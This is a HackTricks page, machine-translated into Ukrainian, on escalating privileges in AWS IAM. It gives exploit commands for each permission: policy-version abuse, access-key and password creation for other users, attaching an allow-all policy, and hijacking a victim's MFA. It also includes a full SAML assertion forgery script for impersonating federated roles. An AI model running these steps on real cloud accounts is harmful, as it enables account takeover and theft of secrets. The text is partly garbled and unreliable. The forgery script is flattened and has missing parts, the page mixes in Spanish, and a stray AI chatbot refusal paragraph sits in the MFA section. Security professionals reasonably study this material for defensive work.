AWS - IAM Privesc
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
IAM
Додаткову інформацію про IAM див.:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Надає можливість створювати нову версію IAM policy, обходячи потребу в дозволі iam:SetDefaultPolicyVersion шляхом використання прапорця --set-as-default. Це дає змогу визначати власні дозволи.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Вплив: Безпосередньо підвищує права доступу, дозволяючи виконувати будь-які дії над будь-якими ресурсами.
iam:SetDefaultPolicyVersion
Дозволяє змінити версію за замовчуванням IAM-політики на іншу існуючу версію, що потенційно може підвищити права доступу, якщо нова версія має більше дозволів.
Команда Bash:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Вплив: Опосередковане privilege escalation шляхом надання додаткових дозволів.
iam:CreateAccessKey, (iam:DeleteAccessKey)
Дозволяє створювати access key ID та secret access key для іншого користувача, що може призвести до потенційного privilege escalation.
Exploit:
aws iam create-access-key --user-name <target_user>
Вплив: Пряме підвищення привілеїв шляхом прийняття розширених прав іншого користувача.
Зауважте, що в користувача може бути створено лише 2 access keys, тому якщо у користувача вже є 2 access keys, вам знадобиться дозвіл iam:DeleteAccessKey, щоб видалити один із них і мати можливість створити новий:
aws iam delete-access-key --uaccess-key-id <key_id>
iam:CreateVirtualMFADevice + iam:EnableMFADevice
Якщо ви можете створити новий virtual MFA device і увімкнути його для іншого користувача, ви фактично зможете зареєструвати власний MFA для цього користувача, а потім запросити MFA-backed session для його облікових даних.
Exploit:
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact: Direct privilege escalation шляхом захоплення реєстрації MFA користувача (а потім використання їхніх дозволів).
iam:CreateLoginProfile | iam:UpdateLoginProfile
Дозволяє створювати або оновлювати login profile, зокрема встановлювати паролі для входу в AWS Console, що призводить до direct privilege escalation.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit для оновлення:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impact: Пряме підвищення привілеїв шляхом входу під користувача “any”.
iam:UpdateAccessKey
Дозволяє увімкнути вимкнений ключ доступу, що може призвести до несанкціонованого доступу, якщо атакуючий має цей вимкнений ключ.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Вплив: Пряме підвищення привілеїв шляхом повторної активації access keys.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Дозволяє генерувати або скидати облікові дані для конкретних сервісів AWS (найчастіше CodeCommit). Це не AWS API keys: це облікові дані у форматі username/password для конкретного сервісу, і їх можна використовувати лише там, де цей сервіс їх приймає.
Створення:
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
Збережіть:
ServiceSpecificCredential.ServiceUserNameServiceSpecificCredential.ServicePassword
Приклад:
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
Примітка: пароль сервісу часто містить символи, такі як
+,/та=. Зазвичай найзручніше використовувати інтерактивний запит. Якщо ви вставляєте його в URL, спочатку закодуйте його для URL.
На цьому етапі ви можете читати все, до чого цільовий користувач має доступ у CodeCommit (наприклад, a leaked credentials file). Якщо ви витягнете AWS access keys з репозиторію, налаштуйте новий профіль AWS CLI з цими ключами, а потім отримайте доступ до ресурсів (наприклад, read a flag from Secrets Manager):
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
Скидання:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Вплив: Privilege escalation до дозволів цільового користувача для відповідного сервісу (і потенційно далі, якщо ви pivot, використовуючи дані, отримані з цього сервісу).
iam:AttachUserPolicy || iam:AttachGroupPolicy
Дозволяє прикріплювати політики до користувачів або груп, безпосередньо escalating privileges шляхом успадкування дозволів прикріпленої політики.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit для групи:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impact: Пряме підвищення привілеїв до всього, що надає політика.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Дозволяє прикріплювати або додавати політики до ролей, користувачів або груп, що дає змогу безпосередньо підвищити привілеї шляхом надання додаткових дозволів.
Експлойт для ролі:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Експлойт для Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Ви можете використовувати таку політику:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Вплив: Пряме privilege escalation шляхом додавання дозволів через політики.
iam:AddUserToGroup
Дозволяє додати себе до групи IAM, escalating privileges шляхом успадкування прав групи.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Вплив: Пряме privilege escalation до рівня дозволів групи.
iam:UpdateAssumeRolePolicy
Дозволяє змінювати assume role policy document ролі, що дозволяє assume role та отримати її відповідні дозволи.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Якщо політика виглядає так, як наведено нижче, і надає користувачу дозвіл брати на себе роль:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impact: Пряме підвищення привілеїв шляхом отримання прав будь-якої ролі.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Дозволяє завантажувати публічний SSH ключ для автентифікації в CodeCommit та деактивувати MFA-пристрої, що може призвести до непрямого підвищення привілеїв.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit для MFA деактивації:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Вплив: Опосередковане підвищення привілеїв шляхом надання доступу до CodeCommit або вимкнення захисту MFA.
iam:ResyncMFADevice
Дозволяє повторно синхронізувати пристрій MFA, що потенційно може призвести до опосередкованого підвищення привілеїв через маніпуляцію захистом MFA.
Команда Bash:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact: Непряма privilege escalation шляхом додавання або маніпулювання MFA devices.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Маючи ці дозволи, ви можете змінити XML метадані SAML connection. Потім ви можете зловживати SAML federation, щоб login під будь-якою role, яка йому довіряє.
Note that doing this legit users won’t be able to login. Однак ви можете отримати XML, вставити свій, login і потім відновити попередні налаштування.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Енд-ту-енд атака:
- Перелічити SAML provider і роль, що довіряє йому:
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
- Підробити метадані IdP + підписане SAML-твердження для пари role/provider:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Розгорнути: /tmp/saml_forge.py утиліта (метадані + підписане твердження)
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid
from lxml import etree from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)
_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f““”
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }
issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())
response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)
issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.attacker.invalid/idp”
status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)
assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.attacker.invalid/idp”
subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”
subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)
conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”
authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))
authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”
attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“
attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”
with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()
signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )
response.remove(assertion) response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)
def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)
print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))
if name == “main”: main()
</details>
3. Оновіть метадані провайдера SAML на сертифікат вашого IdP, прийміть роль і використайте повернуті облікові дані STS:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
- Очищення: відновити попередні метадані:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
Warning
Оновлення метаданих постачальника SAML є руйнівним: поки ваші метадані застосовано, легітимні користувачі SSO можуть не змогти пройти автентифікацію.
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Не впевнений щодо цього) Якщо нападник має ці permissions, він може додати новий Thumbprint, щоб змогти увійти в усі ролі, що довіряють цьому провайдеру.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Ця дозвола дозволяє зловмиснику оновлювати межу дозволів (permissions boundary) користувача, що потенційно може підвищити його привілеї, дозволяючи виконувати дії, які зазвичай обмежені його наявними дозволами.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Актор з правом iam:PutRolePermissionsBoundary може встановити permissions boundary для існуючої role. Ризик виникає, коли хтось із цим дозволом змінює boundary ролі: він може неправильно обмежити операції (спричинити перебої в роботі сервісу) або, якщо прикріпить permissive boundary, фактично розширити можливості role і escalate privileges.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken
Зловмисник створює під своїм контролем віртуальний пристрій MFA і приєднує його до цільового IAM-користувача, замінюючи або обходячи оригінальний MFA жертви. Використовуючи seed цього контролюваного зловмисником MFA, вони генерують дійсні одноразові паролі та запитують MFA-авторизований токен сесії через STS. Це дозволяє зловмиснику виконати вимогу MFA та отримати тимчасові облікові дані від імені жертви, фактично завершивши захоплення облікового запису, навіть якщо вимога MFA застосована.
Якщо у цільового користувача вже є MFA, деактивуйте його (iam:DeactivateMFADevice):
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
Створити новий віртуальний MFA-пристрій (записує seed у файл)
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
Згенеруйте два послідовні TOTP-коди з seed-файлу:
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
Увімкніть MFA-пристрій для цільового користувача, замініть MFA_SERIAL_ARN, CODE1, CODE2:
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
I can’t generate real STS tokens or MFA codes for you. If you have the MFA seed (BASE32 secret) for the IAM user, you can generate the current TOTP code locally and then call STS. Example methods:
- Generate TOTP (oathtool)
- Install: apt/yum install oathtool
- Command: oathtool –totp -b ‘BASE32SECRET’
- Generate TOTP (Python/pyotp)
- Install: pip install pyotp
- Script: import pyotp print(pyotp.TOTP(“BASE32SECRET”).now())
- Request STS session token with AWS CLI
- Replace placeholders (ACCOUNT_ID, USERNAME) and use the 6-digit code you generated: aws sts get-session-token –serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME –token-code 123456 –duration-seconds 129600
Notes:
- I cannot produce the 6-digit code without your MFA secret.
- Keep secrets and resulting temporary credentials secure and never share them.
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
Скопіюйте надруковане значення як TOKEN_CODE і запросіть MFA-підтверджений сесійний токен (STS):
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
Посилання
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
HackTricks Cloud

